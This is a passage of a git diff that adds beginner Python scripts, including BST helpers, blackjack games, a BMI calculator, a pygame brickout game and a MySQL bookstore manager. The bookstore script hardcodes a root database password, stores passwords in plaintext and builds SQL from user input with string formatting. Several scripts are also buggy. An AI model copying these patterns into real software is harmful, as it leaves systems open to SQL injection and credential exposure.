+ # If the root value is in the range, print the root value + if k1 <= root.data <= k2: + print_in_range(root.left, k1, k2) + print(root.data) + print_in_range(root.right, k1, k2) + + # If the root value is less than k1, the nodes in the range will be in the right subtree + elif root.data < k1: + print_in_range( + root.right, k1, k2 + ) # Fixed: original had left, which is incorrect + + # If the root value is greater than k2, the nodes in the range will be in the left subtree + else: + print_in_range( + root.left, k1, k2 + ) # Fixed: original had right, which is incorrect diff --git a/binary_search_trees/root_to_leaf_paths.py b/binary_search_trees/root_to_leaf_paths.py new file mode 100644 index 00000000000..ad30892886c --- /dev/null +++ b/binary_search_trees/root_to_leaf_paths.py @@ -0,0 +1,21 @@ +from typing import Optional, List +from tree_node import Node + + +def print_root_to_leaf_paths(root: Optional[Node], path: List[int]) -> None: + """This function prints all the root to leaf paths in a BST""" + + # If the tree is empty, return + if root is None: + return + + # Add the root value to the path + path.append(root.data) + if root.left is None and root.right is None: + print(path) + + # Recursively print the root to leaf paths in the left and right subtrees + else: + print_root_to_leaf_paths(root.left, path) + print_root_to_leaf_paths(root.right, path) + path.pop() diff --git a/binary_search_trees/search_in_bst.py b/binary_search_trees/search_in_bst.py new file mode 100644 index 00000000000..c5675a6a558 --- /dev/null +++ b/binary_search_trees/search_in_bst.py @@ -0,0 +1,19 @@ +from typing import Optional +from tree_node import Node + + +def search(root: Optional[Node], val: int) -> bool: + """This function searches for a node with value val in the BST and returns True if found, False otherwise""" + + # If the tree is empty, return False + if root is None: + return False + + # If the root value is equal to the value to be searched, return True + if root.data == val: + return True + + # If the value to be searched is less than the root value, search in the left subtree + if root.data > val: + return search(root.left, val) + return search(root.right, val) diff --git a/binary_search_trees/tree_node.py b/binary_search_trees/tree_node.py new file mode 100644 index 00000000000..a34c0bf552e --- /dev/null +++ b/binary_search_trees/tree_node.py @@ -0,0 +1,9 @@ +from typing import Optional + + +# Node class for binary tree +class Node: + def __init__(self, data: int) -> None: + self.data: int = data + self.left: Optional[Node] = None + self.right: Optional[Node] = None diff --git a/binary_search_trees/validate_bst.py b/binary_search_trees/validate_bst.py new file mode 100644 index 00000000000..186c8fbc039 --- /dev/null +++ b/binary_search_trees/validate_bst.py @@ -0,0 +1,25 @@ +from typing import Optional +from tree_node import Node + + +def is_valid_bst( + root: Optional[Node], min_node: Optional[Node], max_node: Optional[Node] +) -> bool: + """Function to check if a binary tree is a binary search tree""" + + # If the tree is empty, return True + if root is None: + return True + + # If the root value is less than or equal to the minimum value, return False + if min_node is not None and root.data <= min_node.data: + return False + + # If the root value is greater than or equal to the maximum value, return False + if max_node is not None and root.data >= max_node.data: + return False + + # Recursively check if the left and right subtrees are BSTs + return is_valid_bst(root.left, min_node, root) and is_valid_bst( + root.right, root, max_node + ) diff --git a/binod.py b/binod.py new file mode 100644 index 00000000000..2bee72de9d6 --- /dev/null +++ b/binod.py @@ -0,0 +1,41 @@ +# patch-1 +# import os +# The OS module in python provides functions for interacting with the operating system + +# patch-3 +# function to check if 'binod' is present in the file. +# def checkBinod(file): +# ======= + +# def checkBinod(file): #this function will check there is any 'Binod' text in file or not +# with open(file, "r") as f: #we are opening file in read mode and using 'with' so need to take care of close() +# ======= +import time +import os + +# Importing our Bindoer +print("To Kaise Hai Ap Log!") +time.sleep(1) +print("Chaliye Binod Karte Hai!") + + +def checkBinod(file): # Trying to find Binod In File Insted Of Manohar Ka Kotha + # master + with open(file, "r") as f: + # master + fileContent = f.read() + if "binod" in fileContent.lower(): + print(f"**************Congratulations Binod found in {f}********************") + return True + else: + return False + + +if __name__ == "__main__": + print("************binod Detector********************") + dir_contents = os.listdir() + for item in dir_contents: + if item.endswith("txt"): + ans = checkBinod(item) + if ans is False: + print("Binod not found Try Looking In Manohar Ka Kotha!!") diff --git a/birthdays.py b/birthdays.py new file mode 100644 index 00000000000..cb67003d4ea --- /dev/null +++ b/birthdays.py @@ -0,0 +1,14 @@ +birthdays = {"Alice": "Apr 1", "Bob": "Dec 12", "Carol": "Mar 4"} +while True: + print("Enter a name: (blank to quit)") + name = input() + if name == "": + break + if name in birthdays: + print(birthdays[name] + " is the birthday of " + name) + else: + print("I do not have birthday information for " + name) + print("What is their birthday?") + bday = input() + birthdays[name] = bday + print("Birthday database updated.") diff --git a/blackJackGUI.py b/blackJackGUI.py new file mode 100644 index 00000000000..a67e6e06717 --- /dev/null +++ b/blackJackGUI.py @@ -0,0 +1,181 @@ +from __future__ import print_function +import random +import simplegui + +CARD_SIZE = (72, 96) +CARD_CENTER = (36, 48) +card_images = simplegui.load_image( + "http://storage.googleapis.com/codeskulptor-assets/cards_jfitz.png" +) + +in_play = False +outcome = "" +score = 0 + +SUITS = ("C", "S", "H", "D") +RANKS = ("A", "2", "3", "4", "5", "6", "7", "8", "9", "T", "J", "Q", "K") +VALUES = { + "A": 1, + "2": 2, + "3": 3, + "4": 4, + "5": 5, + "6": 6, + "7": 7, + "8": 8, + "9": 9, + "T": 10, + "J": 10, + "Q": 10, + "K": 10, +} + + +class Card: + def __init__(self, suit, rank): + if (suit in SUITS) and (rank in RANKS): + self.suit = suit + self.rank = rank + else: + self.suit = None + self.rank = None + print(("Invalid card: ", suit, rank)) + + def __str__(self): + return self.suit + self.rank + + def get_suit(self): + return self.suit + + def get_rank(self): + return self.rank + + def draw(self, canvas, pos): + card_loc = ( + CARD_CENTER[0] + CARD_SIZE[0] * RANKS.index(self.rank), + CARD_CENTER[1] + CARD_SIZE[1] * SUITS.index(self.suit), + ) + canvas.draw_image( + card_images, + card_loc, + CARD_SIZE, + [pos[0] + CARD_CENTER[0], pos[1] + CARD_CENTER[1]], + CARD_SIZE, + ) + + +def string_list_join(string, string_list): + ans = string + " contains " + for i in range(len(string_list)): + ans += str(string_list[i]) + " " + return ans + + +class Hand: + def __init__(self): + self.hand = [] + + def __str__(self): + return string_list_join("Hand", self.hand) + + def add_card(self, card): + self.hand.append(card) + + def get_value(self): + var = [] + self.hand_value = 0 + for card in self.hand: + card = str(card) + if card[1] in VALUES: + self.hand_value += VALUES[card[1]] + var.append(card[1]) + if "A" not in var: + return self.hand_value + if self.hand_value + 10 <= 21: + return self.hand_value + 10 + else: + return self.hand_value + + def draw(self, canvas, pos): + for card in self.hand: + card = str(card) + Card(card[0], card[1]).draw(canvas, pos) + pos[0] += 36 + + +class Deck: + def __init__(self): + self.Deck = [Card(suit, rank) for suit in SUITS for rank in RANKS] + + def shuffle(self): + random.shuffle(self.Deck) + + def deal_card(self): + return random.choice(self.Deck) + + def __str__(self): + return string_list_join("Deck", self.Deck) + + +def deal(): + global outcome, in_play, score1, score2, player_card, dealer_card, deck + outcome = "" + player_card = Hand() + dealer_card = Hand() + deck = Deck() + for i in range(2): + player_card.add_card(deck.deal_card()) + dealer_card.add_card(deck.deal_card()) + + in_play = True + score1 = str(player_card.get_value()) + score2 = str(dealer_card.get_value()) + + +def stand(): + if in_play == True: + while dealer_card.get_value() < 17: + dealer_card.add_card(deck.deal_card()) + if dealer_card.get_value() > 21: + outcome = "you won!!" + elif player_card.get_value() <= dealer_card.get_value(): + outcome = "you lose" + else: + outcome = "you won!!" + score1 = str(player_card.get_value()) + score2 = str(dealer_card.get_value()) + + +def hit(): + global outcome, in_play, score1, score2, player_card, dealer_card, deck + if in_play == True: + player_card.add_card(deck.deal_card()) + + if player_card.get_value() > 21: + outcome = "you are busted" + in_play = False + + score1 = str(player_card.get_value()) + score2 = str(dealer_card.get_value()) + + +def draw(canvas): + canvas.draw_text(outcome, [250, 150], 25, "White") + canvas.draw_text("BlackJack", [250, 50], 40, "Black") + canvas.draw_text(score1, [100, 100], 40, "Red") + + player_card.draw(canvas, [20, 300]) + dealer_card.draw(canvas, [300, 300]) + canvas.draw_text(score2, [400, 100], 40, "Red") + + +frame = simplegui.create_frame("Blackjack", 600, 600) +frame.set_canvas_background("Green") + +frame.add_button("Deal", deal, 200) +frame.add_button("Hit", hit, 200) +frame.add_button("Stand", stand, 200) +frame.set_draw_handler(draw) + +deal() +frame.start() diff --git a/blackjack.py b/blackjack.py new file mode 100644 index 00000000000..b2386ff7828 --- /dev/null +++ b/blackjack.py @@ -0,0 +1,107 @@ +# BLACK JACK - CASINO + +import random + +deck = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11] * 4 + +random.shuffle(deck) + +print( + " ********************************************************** " +) +print( + " Welcome to the game Casino - BLACK JACK ! " +) +print( + " ********************************************************** " +) + +d_cards = [] # Initialising dealer's cards +p_cards = [] # Initialising player's cards + +while len(d_cards) != 2: + random.shuffle(deck) + d_cards.append(deck.pop()) + if len(d_cards) == 2: + print("The cards dealer has are X ", d_cards[1]) + +# Displaying the Player's cards +while len(p_cards) != 2: + random.shuffle(deck) + p_cards.append(deck.pop()) + if len(p_cards) == 2: + print("The total of player is ", sum(p_cards)) + print("The cards Player has are ", p_cards) + +if sum(p_cards) > 21: + print("You are BUSTED !\n **************Dealer Wins !!******************\n") + exit() + +if sum(d_cards) > 21: + print( + "Dealer is BUSTED !\n ************** You are the Winner !!******************\n" + ) + exit() + +if sum(d_cards) == 21: + print("***********************Dealer is the Winner !!******************") + exit() + +if sum(d_cards) == 21 and sum(p_cards) == 21: + print("*****************The match is tie !!*************************") + exit() + + +def dealer_choice(): + if sum(d_cards) < 17: + while sum(d_cards) < 17: + random.shuffle(deck) + d_cards.append(deck.pop()) + + print("Dealer has total " + str(sum(d_cards)) + "with the cards ", d_cards) + + if sum(p_cards) == sum(d_cards): + print("***************The match is tie !!****************") + exit() + + if sum(d_cards) == 21: + if sum(p_cards) < 21: + print("***********************Dealer is the Winner !!******************") + elif sum(p_cards) == 21: + print("********************There is tie !!**************************") + else: + print("***********************Dealer is the Winner !!******************") + + elif sum(d_cards) < 21: + if sum(p_cards) < 21 and sum(p_cards) < sum(d_cards): + print("***********************Dealer is the Winner !!******************") + if sum(p_cards) == 21: + print("**********************Player is winner !!**********************") + if sum(p_cards) < 21 and sum(p_cards) > sum(d_cards): + print("**********************Player is winner !!**********************") + + else: + if sum(p_cards) < 21: + print("**********************Player is winner !!**********************") + elif sum(p_cards) == 21: + print("**********************Player is winner !!**********************") + else: + print("***********************Dealer is the Winner !!******************") + + +while sum(p_cards) < 21: + k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") + if k == 1: + random.shuffle(deck) + p_cards.append(deck.pop()) + print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) + if sum(p_cards) > 21: + print("*************You are BUSTED !*************\n Dealer Wins !!") + if sum(p_cards) == 21: + print( + "*******************You are the Winner !!*****************************" + ) + + else: + dealer_choice() + break diff --git a/bodymass.py b/bodymass.py new file mode 100644 index 00000000000..bfc2c01e1ee --- /dev/null +++ b/bodymass.py @@ -0,0 +1,19 @@ +kilo = float(input("kilonuzu giriniz(örnek: 84.9): ")) +boy = float(input("Boyunuzu m cinsinden giriniz: ")) + +vki = kilo / (boy**2) + +if vki < 18.5: + print(f"vucut kitle indeksiniz: {vki} zayıfsınız.") +elif vki < 25: + print(f"vucut kitle indeksiniz: {vki} normalsiniz.") +elif vki < 30: + print(f"vucut kitle indeksiniz: {vki} fazla kilolusunuz.") +elif vki < 35: + print(f"vucut kitle indeksiniz: {vki} 1. derece obezsiniz") +elif vki < 40: + print(f"vucut kitle indeksiniz: {vki} 2.derece obezsiniz.") +elif vki > 40: + print(f"vucut kitle indeksiniz: {vki} 3.derece obezsiniz.") +else: + print("Yanlış değer girdiniz.") diff --git a/bookstore_manangement_system.py b/bookstore_manangement_system.py new file mode 100644 index 00000000000..9ef2809337b --- /dev/null +++ b/bookstore_manangement_system.py @@ -0,0 +1,836 @@ +import os + + +import mysql.connector as mys + +mycon = mys.connect( + host="localhost", user="root", passwd="Yksrocks", database="book_store_management" +) + + +if mycon.is_connected(): + print() + print("successfully connected") + +mycur = mycon.cursor() + + +def DBZ(): + # IF NO. OF BOOKS IS ZERO(0) THAN DELETE IT AUTOMATICALLY + + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[6] <= 0: + delete = "delete from books where Numbers_of_book<=0" + mycur.execute(delete) + mycon.commit() + + +def separator(): + print() + print("\t\t========================================") + print() + + +def end_separator(): + print() + print() + + +def login(): + user_name = input(" USER NAME --- ") + passw = input(" PASSWORD --- ") + + display = "select * from login" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[1] == user_name and y[2] == passw: + pass + + else: + separator() + + print(" Username or Password is Incorrect Try Again") + + separator() + + user_name = input(" USER NAME --- ") + passw = input(" PASSWORD --- ") + + if y[1] == user_name and y[2] == passw: + pass + + else: + separator() + + print(" Username or Password is Again Incorrect") + exit() + + +def ViewAll(): + print("\u0332".join("BOOK NAMES~~")) + print("------------------------------------") + + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + c = 0 + + for y in data2: + c = c + 1 + print(c, "-->", y[1]) + + +def CNB1(): + if y[6] == 0: + separator() + + print(" NOW THIS BOOK IS NOT AVAILABLE ") + + elif y[6] > 0 and y[6] <= 8: + separator() + + print("WARNING!!!!!!!!!!!!!!!!!!!!!!!") + print("NO. OF THIS BOOK IS LOW", "\tONLY", y[6] - 1, "LEFT") + + print() + print() + + elif y[6] > 8: + separator() + + print("NO. OF BOOKS LEFT IS ", y[6] - 1) + + print() + print() + + +def CNB2(): + if y[6] <= 8: + separator() + + print("WARNING!!!!!!!!!!!!!!!!!!!!!!!") + print("NO. OF THIS BOOK IS LOW", "\tONLY", y[6], "LEFT") + + else: + separator() + + print("NO. OF BOOKS LEFT IS ", y[6]) + + +separator() + + +# LOGIN + + +display12 = "select * from visit" +mycur.execute(display12) +data2222 = mycur.fetchall() +for m in data2222: + if m[0] == 0: + c = m[0] + display11 = "select * from login" + mycur.execute(display11) + data222 = mycur.fetchall() + + if c == 0: + if c == 0: + print("\t\t\t\t REGESTER ") + print("\t\t\t\t----------------------------") + + print() + print() + + user_name = input("ENTER USER NAME -- ") + passw = input("ENTER PASSWORD limit 8-20 -- ") + lenght = len(passw) + + if lenght >= 8 and lenght <= 20: + c = c + 1 + insert55 = (c, user_name, passw) + insert22 = "insert into login values(%s,%s,%s)" + mycur.execute(insert22, insert55) + mycon.commit() + + separator() + + login() + + else: + if lenght < 8: + separator() + + print(" Password Is less than 8 Characters Enter Again") + + separator() + + user_name2 = input("ENTER USER NAME -- ") + passw2 = input("ENTER PASSWORD AGAIN (limit 8-20) -- ") + lenght1 = len(passw2) + + if lenght1 >= 8 and lenght1 <= 20: + c = c + 1 + insert555 = (c, user_name2, passw2) + insert222 = "insert into login values(%s,%s,%s)" + mycur.execute(insert222, insert555) + mycon.commit() + + separator() + + login() + + elif lenght > 20: + separator() + + print( + " Password Is Greater than 20 Characters Enter Again" + ) + + separator() + + user_name = input("ENTER USER NAME -- ") + passw = input("ENTER PASSWORD AGAIN (limit 8-20) -- ") + lenght = len(passw) + + if lenght >= 8 and lenght >= 20: + c = c + 1 + insert55 = (c, user_name, passw) + insert22 = "insert into login values(%s,%s,%s)" + mycur.execute(insert22, insert55) + mycon.commit() + + separator() + + login() + + update33 = "update visit set visits=%s" % (c) + mycur.execute(update33) + mycon.commit() + + elif m[0] == 1: + if m[0] == 1: + login() + + +separator() + + +DBZ() + + +# REPETITION + + +a = True + + +while a == True: + # PROGRAM STARTED + + print(" *TO VIEW ALL ENTER 1") + print(" *TO SEARCH and BUY BOOK ENTER 2") + print(" *TO ADD BOOK ENTER 3") + print(" *TO UPDATE ENTER 4") + print(" *TO DELETE BOOK ENTER 5") + print(" *TO CLOSE ENTER 6") + + print() + + choice = int(input("ENTER YOUR CHOICE -- ")) + + separator() + + # VIEW + + if choice == 1: + print() + + ViewAll() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + end_separator() + + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + end_separator() + + # SEARCH / BUY + + if choice == 2: + book_name = input("ENTER BOOK NAME ---- ") + + separator() + + display = "select * from books where Name='%s'" % (book_name) + mycur.execute(display) + data2 = mycur.fetchone() + + if data2 != None: + print("BOOK IS AVAILABLE") + + # BUY OR NOT + + separator() + + print("\t*WANT TO BUY PRESS 1") + print("\t*IF NOT PRESS 2") + print() + + choice2 = int(input("ENTER YOUR CHOICE -- ")) + + if choice2 == 1: + # BUY 1 OR MORE + + separator() + + print("\t*IF YOU WANT ONE BOOK PRESS 1") + print("\t*IF YOU WANT MORE THAN ONE BOOK PRESS 2") + print() + + choice3 = int(input("ENTER YOUR CHOICE -- ")) + + if choice3 == 1: + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[1] == book_name: + if y[6] > 0: + separator() + + u = ( + "update books set Numbers_of_book=Numbers_of_book - 1 where name='%s';" + % (book_name) + ) + mycur.execute(u) + mycon.commit() + + print("BOOK WAS BOUGHT") + + separator() + + print("THANKS FOR COMING") + + CNB1() + + separator() + + rep = input( + "Do You Want To Restart ?? yes / no -- " + ).lower() + + if rep == "yes": + end_separator() + + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + if choice3 == 2: + separator() + + wb = int(input("ENTER NO. OF BOOKS -- ")) + + separator() + + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[1] == book_name: + if wb > y[6]: + if y[6] > 0: + print("YOU CAN'T BUT THAT MUCH BOOKS") + + separator() + + print("BUT YOU CAN BUY", y[6], "BOOKS MAX") + + separator() + + choice44 = input( + "DO YOU WANT TO BUY BOOK ? Y/N -- " + ) + + separator() + + k = y[6] + + if choice44 == "y" or choice44 == "Y": + u2 = ( + "update books set numbers_of_book=numbers_of_book -%s where name='%s'" + % (k, book_name) + ) + mycur.execute(u2) + mycon.commit() + + print("BOOK WAS BOUGHT") + + separator() + + print("THANKS FOR COMING") + + separator() + + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[1] == book_name: + if y[6] <= 8: + print( + "WARNING!!!!!!!!!!!!!!!!!!!!!!!" + ) + print( + "NO. OF THIS BOOK IS LOW", + "\tONLY", + y[6], + "LEFT", + ) + + end_separator() + + break + + separator() + + rep = input( + "Do You Want To Restart ?? yes / no -- " + ).lower() + + if rep == "yes": + end_separator() + + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + elif choice44 == "n" or choice44 == "N": + print( + "SORRY FOR INCONVENIENCE WE WILL TRY TO FULLFILL YOUR REQUIREMENT AS SOON AS POSSIBLE" + ) + + end_separator() + + separator() + + rep = input( + "Do You Want To Restart ?? yes / no -- " + ).lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + elif y[6] == 0: + print( + "SORRY NO BOOK LEFT WE WILL TRY TO FULLFILL YOUR REQUIREMENT AS SOON AS POSSIBLE" + ) + + end_separator() + + separator() + + rep = input( + "Do You Want To Restart ?? yes / no -- " + ).lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + u2 = ( + "update books set numbers_of_book=numbers_of_book -%s where name='%s'" + % (wb, book_name) + ) + mycur.execute(u2) + mycon.commit() + + print("BOOK WAS BOUGHT") + + separator() + + print("THANKS FOR COMING") + + display = "select * from books" + mycur.execute(display) + data2 = mycur.fetchall() + + for y in data2: + if y[1] == book_name: + CNB2() + + separator() + + rep = input( + "Do You Want To Restart ?? yes / no -- " + ).lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + separator() + + print("NO BOOK IS BOUGHT") + + end_separator() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + separator() + + print("SORRY NO BOOK WITH THIS NAME EXIST / NAME IS INCORRECT") + + end_separator() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + # ADDING BOOK + + if choice == 3: + q10 = int(input("ENTER NO. OF BOOKS TO ADD -- ")) + + separator() + + for k in range(q10): + SNo10 = int(input("ENTER SNo OF BOOK -- ")) + name10 = input("ENTER NAME OF BOOK --- ") + author10 = input("ENTER NAME OF AUTHOR -- ") + year10 = int(input("ENTER YEAR OF PUBLISHING -- ")) + ISBN10 = input("ENTER ISBN OF BOOK -- ") + price10 = int(input("ENTER PRICE OF BOOK -- ")) + nob10 = int(input("ENTER NO. OF BOOKS -- ")) + + display10 = "select * from books where ISBN='%s'" % (ISBN10) + mycur.execute(display10) + data20 = mycur.fetchone() + + if data20 != None: + print("This ISBN Already Exists") + + os._exit(0) + + else: + insert = (SNo10, name10, author10, year10, ISBN10, price10, nob10) + insert20 = "insert into books values(%s,%s,%s,%s,%s,%s,%s)" + mycur.execute(insert20, insert) + mycon.commit() + + separator() + + print("BOOK IS ADDED") + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + # UPDATING BOOK + + if choice == 4: + choice4 = input("ENTER ISBN OF BOOK -- ") + + separator() + + display = "select * from books where ISBN='%s'" % (choice4) + mycur.execute(display) + data2 = mycur.fetchone() + + if data2 != None: + SNo1 = int(input("ENTER NEW SNo OF BOOK -- ")) + name1 = input("ENTER NEW NAME OF BOOK --- ") + author1 = input("ENTER NEW NAME OF AUTHOR -- ") + year1 = int(input("ENTER NEW YEAR OF PUBLISHING -- ")) + ISBN1 = input("ENTER NEW ISBN OF BOOK -- ") + price1 = int(input("ENTER NEW PRICE OF BOOK -- ")) + nob = int(input("ENTER NEW NO. OF BOOKS -- ")) + insert = (SNo1, name1, author1, year1, ISBN1, price1, nob, choice4) + update = "update books set SNo=%s,Name=%s,Author=%s,Year=%s,ISBN=%s,Price=%s,numbers_of_book=%s where ISBN=%s" + mycur.execute(update, insert) + mycon.commit() + + separator() + + print("BOOK IS UPDATED") + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + print("SORRY NO BOOK WITH THIS ISBN IS EXIST / INCORRECT ISBN") + + print() + print() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + # DELETING A BOOK + + if choice == 5: + ISBN1 = input("ENTER ISBN OF THAT BOOK THAT YOU WANT TO DELETE -- ") + display = "select * from books where ISBN='%s'" % (ISBN1) + mycur.execute(display) + data2 = mycur.fetchone() + + if data2 != None: + separator() + + choice5 = input("ARE YOU SURE TO DELETE THIS BOOK ENTER Y/N -- ") + + if choice5 == "Y" or choice5 == "y": + separator() + + ISBN2 = input("PLEASE ENTER ISBN AGAIN -- ") + delete = "delete from books where ISBN='%s'" % (ISBN2) + mycur.execute(delete) + mycon.commit() + + separator() + + print("BOOK IS DELETED") + + print() + print() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + separator() + + print("NO BOOK IS DELETED") + + print() + print() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + else: + separator() + + print("SORRY NO BOOK WITH THIS ISBN AVAILABLE / ISBN IS INCORRECT") + + print() + print() + + separator() + + rep = input("Do You Want To Restart ?? yes / no -- ").lower() + + if rep == "yes": + separator() + + DBZ() + + continue + + else: + end_separator() + + DBZ() + + os._exit(0) + + # CLOSE + + if choice == 6: + exit() + os._exit(0) + + +# IF NO. OF BOOKS IS ZERO( 0 ) THAN DELETE IT AUTOMATICALLY + + +display = "select * from books" +mycur.execute(display) +data2 = mycur.fetchall() + + +for y in data2: + if y[6] <= 0: + delete = "delete from books where Numbers_of_book<=0" + mycur.execute(delete) + mycon.commit() diff --git a/brickout-game/README.md b/brickout-game/README.md new file mode 100644 index 00000000000..ee998318816 --- /dev/null +++ b/brickout-game/README.md @@ -0,0 +1,13 @@ +# Brickout-Game in pygame + +This is a simple brickout-game. It's includes ball, paddle, brick wall +and additional collision detection between these objects. Furthermore, logic for winning and losing and +scoring. The game is written in **Python 2**. + +You start the game with ```python game.py``` + +The game runs with 60 frames per second. + +I used a code sample for the basic structure of pygame from this site [http://programarcadegames.com/](http://programarcadegames.com/) +The site contains a comprehensive introduction in Python and Pygame. In addition many many examples. + diff --git a/brickout-game/brickout-game.py b/brickout-game/brickout-game.py new file mode 100644 index 00000000000..40aa05f001d --- /dev/null +++ b/brickout-game/brickout-game.py @@ -0,0 +1,389 @@ +""" + Pygame base template for opening a window + + Sample Python/Pygame Programs + Simpson College Computer Science + http://programarcadegames.com/ + http://simpson.edu/computer-science/ + + Explanation video: http://youtu.be/vRB_983kUMc + +------------------------------------------------- + +Author for the Brickout game is Christian Bender +That includes the classes Ball, Paddle, Brick, and BrickWall. + +""" + +import random + +# using pygame python GUI +import pygame + +# Define Four Colours +BLACK = (0, 0, 0) +WHITE = (255, 255, 255) +GREEN = (0, 255, 0) +RED = (255, 0, 0) + +pygame.init() + +# Setting the width and height of the screen [width, height] +size = (700, 500) +screen = pygame.display.set_mode(size) + +""" + This is a simple Ball class for respresenting a ball + in the game. +""" + + +class Ball(object): + def __init__(self, screen, radius, x, y): + self.__screen = screen + self._radius = radius + self._xLoc = x + self._yLoc = y + self.__xVel = 7 + self.__yVel = 2 + w, h = pygame.display.get_surface().get_size() + self.__width = w + self.__height = h + + def getXVel(self): + return self.__xVel + + def getYVel(self): + return self.__yVel + + def draw(self): + """ + draws the ball onto screen. + """ + pygame.draw.circle(screen, (255, 0, 0), (self._xLoc, self._yLoc), self._radius) + + def update(self, paddle, brickwall): + """ + moves the ball at the screen. + contains some collision detection. + """ + self._xLoc += self.__xVel + self._yLoc += self.__yVel + # left screen wall bounce + if self._xLoc <= self._radius: + self.__xVel *= -1 + # right screen wall bounce + elif self._xLoc >= self.__width - self._radius: + self.__xVel *= -1 + # top wall bounce + if self._yLoc <= self._radius: + self.__yVel *= -1 + # bottom drop out + elif self._yLoc >= self.__width - self._radius: + return True + + # for bouncing off the bricks. + if brickwall.collide(self): + self.__yVel *= -1 + + # collision detection between ball and paddle + paddleY = paddle._yLoc + paddleW = paddle._width + paddleH = paddle._height + paddleX = paddle._xLoc + ballX = self._xLoc + ballY = self._yLoc + + if ((ballX + self._radius) >= paddleX and ballX <= (paddleX + paddleW)) and ( + (ballY + self._radius) >= paddleY and ballY <= (paddleY + paddleH) + ): + self.__yVel *= -1 + + return False + + +""" + Simple class for representing a paddle +""" + + +class Paddle(object): + def __init__(self, screen, width, height, x, y): + self.__screen = screen + self._width = width + self._height = height + self._xLoc = x + self._yLoc = y + w, h = pygame.display.get_surface().get_size() + self.__W = w + self.__H = h + + def draw(self): + """ + draws the paddle onto screen. + """ + pygame.draw.rect( + screen, (0, 0, 0), (self._xLoc, self._yLoc, self._width, self._height), 0 + ) + + def update(self): + """ + moves the paddle at the screen via mouse + """ + x, y = pygame.mouse.get_pos() + if x >= 0 and x <= (self.__W - self._width): + self._xLoc = x + + +""" + This class represents a simple Brick class. + For representing bricks onto screen. +""" + + +class Brick(pygame.sprite.Sprite): + def __init__(self, screen, width, height, x, y): + self.__screen = screen + self._width = width + self._height = height + self._xLoc = x + self._yLoc = y + w, h = pygame.display.get_surface().get_size() + self.__W = w + self.__H = h + self.__isInGroup = False + + def draw(self): + """ + draws the brick onto screen. + color: rgb(56, 177, 237) + """ + pygame.draw.rect( + screen, + (56, 177, 237), + (self._xLoc, self._yLoc, self._width, self._height), + 0, + ) + + def add(self, group): + """ + adds this brick to a given group. + """ + group.add(self) + self.__isInGroup = True + + def remove(self, group): + """ + removes this brick from the given group. + """ + group.remove(self) + self.__isInGroup = False + + def alive(self): + """ + returns true when this brick belongs to the brick wall. + otherwise false + """ + return self.__isInGroup + + def collide(self, ball): + """ + collision detection between ball and this brick + """ + brickX = self._xLoc + brickY = self._yLoc + brickW = self._width + brickH = self._height + ballX = ball._xLoc + ballY = ball._yLoc + ballXVel = ball.getXVel() + ballYVel = ball.getYVel() + + if ( + (ballX + ball._radius) >= brickX + and (ballX + ball._radius) <= (brickX + brickW) + ) and ( + (ballY - ball._radius) >= brickY + and (ballY - ball._radius) <= (brickY + brickH) + ): + return True + else: + return False + + +""" + This is a simple class for representing a + brick wall. +""" + + +class BrickWall(pygame.sprite.Group): + def __init__(self, screen, x, y, width, height): + self.__screen = screen + self._x = x + self._y = y + self._width = width + self._height = height + self._bricks = [] + + X = x + Y = y + for i in range(3): + for j in range(4): + self._bricks.append(Brick(screen, width, height, X, Y)) + X += width + (width / 7.0) + Y += height + (height / 7.0) + X = x + + def add(self, brick): + """ + adds a brick to this BrickWall (group) + """ + self._bricks.append(brick) + + def remove(self, brick): + """ + removes a brick from this BrickWall (group) + """ + self._bricks.remove(brick) + + def draw(self): + """ + draws all bricks onto screen. + """ + for brick in self._bricks: + if brick != None: + brick.draw() + + def update(self, ball): + """ + checks collision between ball and bricks. + """ + for i in range(len(self._bricks)): + if (self._bricks[i] != None) and self._bricks[i].collide(ball): + self._bricks[i] = None + + # removes the None-elements from the brick list. + for brick in self._bricks: + if brick is None: + self._bricks.remove(brick) + + def hasWin(self): + """ + Has player win the game? + """ + return len(self._bricks) == 0 + + def collide(self, ball): + """ + check collisions between the ball and + any of the bricks. + """ + for brick in self._bricks: + if brick.collide(ball): + 